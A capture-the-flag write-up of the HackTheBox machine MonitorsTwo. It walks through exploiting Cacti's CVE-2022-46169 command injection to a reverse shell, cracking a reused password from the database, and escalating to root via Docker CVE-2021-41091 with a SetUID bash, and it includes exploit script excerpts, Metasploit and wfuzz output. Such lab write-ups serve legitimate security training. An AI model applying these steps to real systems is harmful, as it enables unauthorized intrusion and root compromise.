MonitorsTwo starts with a Cacti website (just like Monitors). There’s a command injection vuln that has a bunch of POCs that don’t work as of the time of MonitorsTwo’s release. I’ll show why, and exploit it manually to get a shell in a container. I’ll pivot to the database container and crack a hash to get a foothold on the box. For root, I’ll exploit a couple of Docker CVEs that allow for creating a SetUID binary inside the container that I can then run as root on the host.

Box Info

Name MonitorsTwo MonitorsTwo
Play on HackTheBox
Release Date 29 Apr 2023
Retire Date 02 Sep 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for MonitorsTwo
Radar Graph Radar chart for MonitorsTwo
First Blood User 00:09:19szymex73
First Blood Root 00:23:06Ziemni
Creator TheCyberGeek



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-04-28 18:00 EDT
Nmap scan report for
Host is up (0.088s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.82 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2023-04-28 18:00 EDT
Nmap scan report for
Host is up (0.092s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal.

Website - TCP 80


Must like the original Monitors box, the site is an instance of Cacti, a network graphing tool:


Tech Stack

Cacti is a PHP application (source code on GitHub). It’s version 1.2.22 according to the footer under the login form. I could try busting the site, but the source gives the locations of all the pages if I want/need them.

Shell as www-data in Container

Identify Vulnerability

Searching for “Cacti 1.2.22 exploit” identifies CVE-2022-46169, a command injection vulnerability in this version of Cacti:


Vulnerability Details

This post does a nice job breaking down the vulnerability in detail. It shows how to set up your own lab and then explains what’s happening. There’s a command injection in a GET parameter sent to remote_agent.php. That page takes four arguments - action, host_id, local_data_ids[], and poller_id. Another great article is from SonarSource.

The first thing is to bypass the authentication. The check looks at the $client_addr to see that it’s in the DB as allowed to make these queries. The challenge is that it looks in a bunch of user-controlled HTTP headers before getting the REMOTE_ADDR, and breaks when it finds one. So by setting the HTTP header X-FORWARDED-FOR:, I’m allowed to continue.

The injection is in poller_id, but in order to reach that point, I’ll need to get a valid host_id and local_data_ids. Most exploit script will brute force these. For example, in this one has a function to handle this:

def bruteForce():
    # brute force to find host id and local data id
    for i in range(1, 5):
        for j in range(1, 10):
            vulnIdURL = f"{vulnURL}?action=polldata&poller_id=1&host_id={i}&local_data_ids[]={j}"
            result = requests.get(vulnIdURL, headers=header)
            if result.text != "[]":
                # print(result.text)
                rrdName = result.json()[0]["rrd_name"]
                if rrdName == "polling_time" or rrdName == "uptime":
                    return True, i, j

    return False, -1, -1

It’s looking for rrdName to be either “polling_time” or “uptime”. That matches what I see in the SonarSource post:

This means that attackers can leverage the poller_id parameter to inject an arbitrary command when an item with the POLLER_ACTION_SCRIPT_PHP action exists. This is very likely on a productive instance because this action is added by some predefined templates like "Device - Uptime" or "Device - Polling Time".

The attacker must provide the corresponding id to make the database query return such an item.



When MonitorsTwo released, there were a bunch of POC scripts on GitHub for this vulnerability, and many of them don’t work here. For example, at the time of release for MonitorsTwo, this one doesn’t work on this target. It’s because when it does the brute force, it is looking for words that includes polling_time and some others, but not uptime:

HEADER = add_header(URL)
words = ["cpu","cmd.php","polling_time","apache"]

def finding_id(URL,HEADER):
    print("[*] Brute-Forcing Process Is Running ...")
    last_url = None
    for id in range(1,11):
        for item in range(1,11):
            url_id = URL+f"&poller_id=1&host_id={str(id)}&local_data_ids[]={str(item)}"
            req_id = requests.get(url_id,headers=HEADER,verify=False)
            if any(x in req_id.text for x in words):
                last_url = URL+f"&host_id={str(id)}&local_data_ids[]={str(item)}&poller_id="
                print("[*] True Ids Founded")
                return last_url
    print("[!] Could Not Find Specific Process")

It turns out that polling_time never comes back on MonitorsTwo, and thus this thinks it’s not vulnerable.

This is another that looked nice, but it’s only looking for cmd.php in the response:

for id in range(args.n_ids):
    url = f'{}/remote_agent.php'
    params = {'action': 'polldata', 'host_id': id,
              'poller_id': payload, 'local_data_ids[]': local_data_ids}
    headers = {'X-Forwarded-For': target_ip}

    r = requests.get(url, params=params, headers=headers)
    if('cmd.php' in r.text):
        print(f"[+] Exploit Completed for host_id = {id}")

It also only brute forces on host_id, trying all the local_data_ids at once. The SonarSource article said that was possible, but I’m not sure it’s working here.

The most interesting failure I ran into is the Metasploit module. I’ll set it up, making sure to change the SRVPORT from the default 8080 (where I’ve already got Burp listening) to something else (8000):

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID                              no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID                        no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         yes       The target host(s), see
   RPORT               80               yes       The target port (TCP)
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostna
                                                  me in the poller table.

   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST          yes       The local host or network interface to listen on. This must be an address on the local machine or
                              to listen on all addresses.
   SRVPORT  8000             yes       The local port to listen on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)

When I run this, it finds it vulnerable, sends a stager, but fails to return a session:

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Exploit completed, but no session was created.

The weird thing is, when I send this through Burp to see what’s happening, it works:

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set proxies http:
proxies => http:
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Sending stage (1017704 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-04-29 17:25:14 -0400

meterpreter >

It reliably fails without the proxy, and works with it. It might make a nice Beyond Root someday, but I can’t figure out what is happening there.


I can exploit this manually. If I just visit[0]=1&host_id=1&poller_id=1 in Firefox, it returns a non-authorized error:


If I submit that again, but intercept the request in Burp, and add the X-Forwarded-For header like this:


The the result comes back:


I’ll use wfuzz to experiment with different values in local_data_ids[0] and host_id. The default response is just [], so I’ll use --hh 2 to filter out two character responses. If I fuzz the host_id, only “1” has data:

oxdf@hacky$ wfuzz -u '[0]=1&host_id=FUZZ&poller_id=1' -H "X-Forwarded-For:" -z range,1-100 --hh 2
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 100

ID           Response   Lines    Word       Chars       Payload                                                                   

000000001:   200        0 L      1 W        54 Ch       "1"                                                                       

Total time: 0
Processed Requests: 100
Filtered Requests: 99
Requests/sec.: 0

When I fuzz the local_data_ids[0], it seems that 1-6 return different data:

oxdf@hacky$ wfuzz -u '[0]=FUZZ&host_id=1&poller_id=1' -H "X-Forwarded-For:" -z range,1-100 --hh 2
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 100

ID           Response   Lines    Word       Chars       Payload

000000003:   200        0 L      1 W        54 Ch       "3"
000000001:   200        0 L      1 W        54 Ch       "1"
000000005:   200        0 L      1 W        63 Ch       "5"
000000002:   200        0 L      3 W        78 Ch       "2"
000000006:   200        0 L      1 W        55 Ch       "6"
000000004:   200        0 L      1 W        66 Ch       "4"                                                                       

Total time: 8.803886
Processed Requests: 100
Filtered Requests: 94
Requests/sec.: 11.35861

I can take this request over to Repeater and play with it. I can actually submit all six in one request:


rrd_name gives the template, and uptime is (local_data_id of 6) is one that is mentioned as vulnerable.

I’ll add the injection to the poller_id GET parameter. A sleep 5 is a safe way to check that it’s working:


The data is the same, but instead of 255 millis like in the previous, this one is 5,259, about five seconds longer!

I’ll change the parameter from sleep to a bash reverse shell, URL-encode it, and send:


At nc, I get a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 57164
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade my shell using the stty / script trick:

www-data@50bca5e748b0:/var/www/html$ script /dev/null -c bash        
Script started, output log file is '/dev/null'.                      
www-data@50bca5e748b0:/var/www/html$ ^Z                              
[1]+  Stopped                 nc -lnvp 443                           
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443                                                         
reset: unknown terminal type unknown                                 
Terminal type? screen                                                

Shell as marcus



This is a stripped down host, and not the one with the outward facing IP of It seems like a Docker container:

  • The hostname is just random hex, 50bca5e748b0.
  • Command s like ip, ifconfig, and ping are not installed.
  • The IP is (as seen in /proc/net/fib_trie).
  • There’s a .dockerenv file in /.


Cacti is homed in /var/www/html:

www-data@50bca5e748b0:/var/www/html$ ls           
CHANGELOG                   cli                        graph_templates.php         managers.php            rrdcleaner.php
LICENSE                     clog.php                   graph_templates_inputs.php  mibs                    script_server.php                   clog_user.php              graph_templates_items.php   permission_denied.php   scripts
about.php                   cmd.php                    graph_view.php              plugins                 service
aggregate_graphs.php        cmd_realtime.php           graph_xport.php             plugins.php             service_check.php
aggregate_items.php         color.php                  graphs.php                  poller.php              settings.php
aggregate_templates.php     color_templates.php        graphs_items.php            poller_automation.php   sites.php
auth_changepassword.php     color_templates_items.php  graphs_new.php              poller_boost.php        snmpagent_mibcache.php
auth_login.php              data_debug.php             help.php                    poller_commands.php     snmpagent_mibcachechild.php
auth_profile.php            data_input.php             host.php                    poller_dsstats.php      snmpagent_persist.php
automation_devices.php      data_queries.php           host_templates.php          poller_maintenance.php  spikekill.php
automation_graph_rules.php  data_source_profiles.php   images                      poller_realtime.php     templates_export.php
automation_networks.php     data_sources.php           include                     poller_recovery.php     templates_import.php
automation_snmp.php         data_templates.php         index.php                   poller_reports.php      tree.php
automation_templates.php    docs                       install                     poller_spikekill.php    user_admin.php
automation_tree_rules.php   formats                    lib                         pollers.php             user_domains.php
boost_rrdupdate.php         gprint_presets.php         link.php                    remote_agent.php        user_group_admin.php
cache                       graph.php                  links.php                   reports_admin.php       utilities.php
cacti.sql                   graph_image.php            locales                     reports_user.php        vdef.php
cactid.php                  graph_json.php             log                         resource
cdef.php                    graph_realtime.php         logout.php                  rra

The config is in include/config.php. The only part of the config that isn’t commented out is the database stuff:

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

The database is MySQL, and it’s running on another host named db.


I’ll connect to the DB using the information from the config:

www-data@50bca5e748b0:/var/www/html$ mysql -h db -u root -proot cacti
MySQL [cacti]>

There’s a lot of tables in the Cacti DB:

MySQL [cacti]> show tables;                                          
| Tables_in_cacti                     |
| aggregate_graph_templates           |
| aggregate_graph_templates_graph     |
| aggregate_graph_templates_item      |
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
| user_auth_perms                     |
| user_auth_realm                     |
| user_domains                        |
| user_domains_ldap                   |
| user_log                            |
| vdef                                |
| vdef_items                          |
| version                             |
111 rows in set (0.001 sec)

user_auth sounds like where I might find hashes, and I do:

MySQL [cacti]> describe user_auth;
| Field                  | Type                  | Null | Key | Default | Extra          |
| id                     | mediumint(8) unsigned | NO   | PRI | NULL    | auto_increment |
| username               | varchar(50)           | NO   | MUL | 0       |                |
| password               | varchar(256)          | NO   |     |         |                |
| realm                  | mediumint(8)          | NO   | MUL | 0       |                |
| full_name              | varchar(100)          | YES  |     | 0       |                |
| email_address          | varchar(128)          | YES  |     | NULL    |                |
| must_change_password   | char(2)               | YES  |     | NULL    |                |
| password_change        | char(2)               | YES  |     | on      |                |
| show_tree              | char(2)               | YES  |     | on      |                |
| show_list              | char(2)               | YES  |     | on      |                |
| show_preview           | char(2)               | NO   |     | on      |                |
| graph_settings         | char(2)               | YES  |     | NULL    |                |
| login_opts             | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graphs          | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_trees           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_hosts           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graph_templates | tinyint(3) unsigned   | NO   |     | 1       |                |
| enabled                | char(2)               | NO   | MUL | on      |                |
| lastchange             | int(11)               | NO   |     | -1      |                |
| lastlogin              | int(11)               | NO   |     | -1      |                |
| password_history       | varchar(4096)         | NO   |     | -1      |                |
| locked                 | varchar(3)            | NO   |     |         |                |
| failed_attempts        | int(5)                | NO   |     | 0       |                |
| lastfail               | int(10) unsigned      | NO   |     | 0       |                |
| reset_perms            | int(10) unsigned      | NO   |     | 0       |                |
25 rows in set (0.002 sec)
MySQL [cacti]> select username,password from user_auth;
| username | password                                                     |
| admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest    | 43e9a4ab75570f5b|               
| marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
3 rows in set (0.001 sec)  

Crack Hashes

I’ll drop these into a file and try to crack them. hashcat is slow on my setup with brcypt, but john breaks marcus’ hash relatively quickly:

oxdf@hacky$ /opt/john/run/john hashes --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
funkymonkey      (marcus) 


marcus reuses that password for the host, and it works over SSH:

oxdf@hacky$ sshpass -p 'funkymonkey' ssh marcus@
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)

And there’s user.txt:

marcus@monitorstwo:~$ cat user.txt

Shell as root



The host is relatively empty. There’s no other users besides marcus. Nothing interesting in /opt or elsewhere on the filesystem.

I’ll upload pspy but it doesn’t show anything interesting either.


At this point, my thinking is that perhaps there’s another Docker container running. I’m already aware of the Cacti container and the MySQL container.

marcus doesn’t have permissions to interact with docker:

marcus@monitorstwo:/var/www$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied

marcus can at least look at the version of Docker:

marcus@monitorstwo:/var/www$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88

CVE-2021-41091 / CVE-2021-41103


This is an old version of Docker, released 2 March 2021. Looking up at the releases after that one, there’s a few CVEs noted in the release notes. For example, in 20.10.6:


Scrolling up, I’ll note down a handful of CVEs patched in the releases that followed the current version. It’s useful to read each description and potentially some other posts about the vulnerability to triage if the vulnerability is something I can exploit in this case.

  • CVE-2021-21334 fixed in 20.10.6 - Has to do with leaking environment variables. The Security notes say that “If you are not launching multiple containers or Kubernetes pods from the same image which have different environment variables, you are not vulnerable to this issue.” Doesn’t sound useful for me.
  • CVE-2021-30465 fixed in 20.10.7 - The description of this one says that an attacker “must be able to create multiple containers with a fairly specific mount configuration”. Doesn’t sound useful for me.
  • CVE-2021-41092 fixed in 20.10.9 - Issue in Docker CLI (command line interface) having to do with the config file. Not relevant here.
  • CVE-2021-41089 fixed in 20.10.9 - The description says an attacker can docker cp files into a specifically crafted container resulting in file permissions changed on the host. I don’t have access to docker cp on this host, so not much I can do here.
  • CVE-2021-41091 fixed in 20.10.9 - This one is interesting. “A bug was found in Moby (Docker Engine) where the data directory (typically /var/lib/docker) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs.” I’ll go into this more below.
  • CVE-2021-36221 / CVE-2021-39293 fixed in 20.10.9 - Both fixes in Go runtime, which doesn’t seem relevant here.
  • CVE-2021-41103 fixed in 20.10.9 - Same as CVE-2021-41103, but issue in containerd rather than Moby.


Some searching for “CVE-2021-41091 exploit” leads to this article from CyberArk. The issue comes when Docker changes the permissions to the directory on the host that is mapped into the container from 700 to 701. 700 means that only the owner (root) can read/write/execute. 701 allows any user to also execute!

This means that a low privilege user on the host can run files in the container. Why is that bad? If the container has a file owned by root and with the SetUID bit on, then that low priviliege user can run it as root on the host.

Enumerating Docker

From the host, I’m able to see the directory Docker is using in the container with the mount command:

marcus@monitorstwo:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,noexec,relatime,size=1966928k,nr_inodes=491732,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=402608k,mode=755)
/dev/sda2 on / type ext4 (rw,relatime)
overlay on /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged type overlay (rw,relatime,lower
shm on /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm type tmpfs (rw,nosuid,nodev,n
nsfs on /run/docker/netns/9f53a565e7ed type nsfs (rw)
overlay on /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged type overlay (rw,relatime,lower
shm on /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm type tmpfs (rw,nosuid,nodev,n

There are two of these “overlay” mounts, as there are two containers running.

Looking in one of them, I’ll see the container filesystem root:

marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
bin   dev                 home  lib64  mnt  proc  run   srv  tmp  var
boot  docker-entrypoint-initdb.d  etc            lib   media  opt  root  sbin  sys  usr

It looks like the second one is the Cacti container:

marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html/
ls: cannot access '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html/': No such file or directory
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/var/www/html
about.php                   clog_user.php              graphs.php                  mibs                    rrdcleaner.php
aggregate_graphs.php        cmd.php                    graph_templates_inputs.php  permission_denied.php   scripts
aggregate_items.php         cmd_realtime.php           graph_templates_items.php   plugins                 script_server.php
aggregate_templates.php     color.php                  graph_templates.php         plugins.php             service

I can create a file in the container:

www-data@50bca5e748b0:/tmp$ touch 0xdf

And it is there on the host:

marcus@monitorstwo:~$ ls -l /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/0xdf 
-rw-r--r-- 1 www-data www-data 0 May  1 11:05 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/0xdf

If I can get root in the container and create a SetUID binary, I can run it as root on the host.

root in Container

The container doesn’t have sudo. There are SetUID binaries:

www-data@50bca5e748b0:/var/www$ find / -perm -4000 -ls 2>/dev/null
    42364     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
    42417     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
    42317     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
    42314     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
    42407     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
     5431     32 -rwsr-xr-x   1 root     root        30872 Oct 14  2020 /sbin/capsh
    41798     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /bin/mount
    41819     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /bin/umount
    41813     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /bin/su

capsh is interesting (it especially stands out because it’s in sbin). It has a GTFObins page:


Running the command works:

www-data@50bca5e748b0:/var/www$ capsh --gid=0 --uid=0 --

SetUID bash

Inside the container, I’ll make a copy of bash and set it to SetUID:

root@50bca5e748b0:/var/www# cp /bin/bash /tmp/0xdf
root@50bca5e748b0:/var/www# chmod 4777 /tmp/0xdf 

On the host, this shows up as 4777 (note the s where the owner x would be):

marcus@monitorstwo:~$ ls -l /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/0xdf
-rwsrwxrwx 1 root root 1234376 May  1 11:14 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/0xdf

Running it (with -p to not drop privs) gives a root shell:

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/0xdf -p

And I can read root.txt:

0xdf-5.1# cat root.txt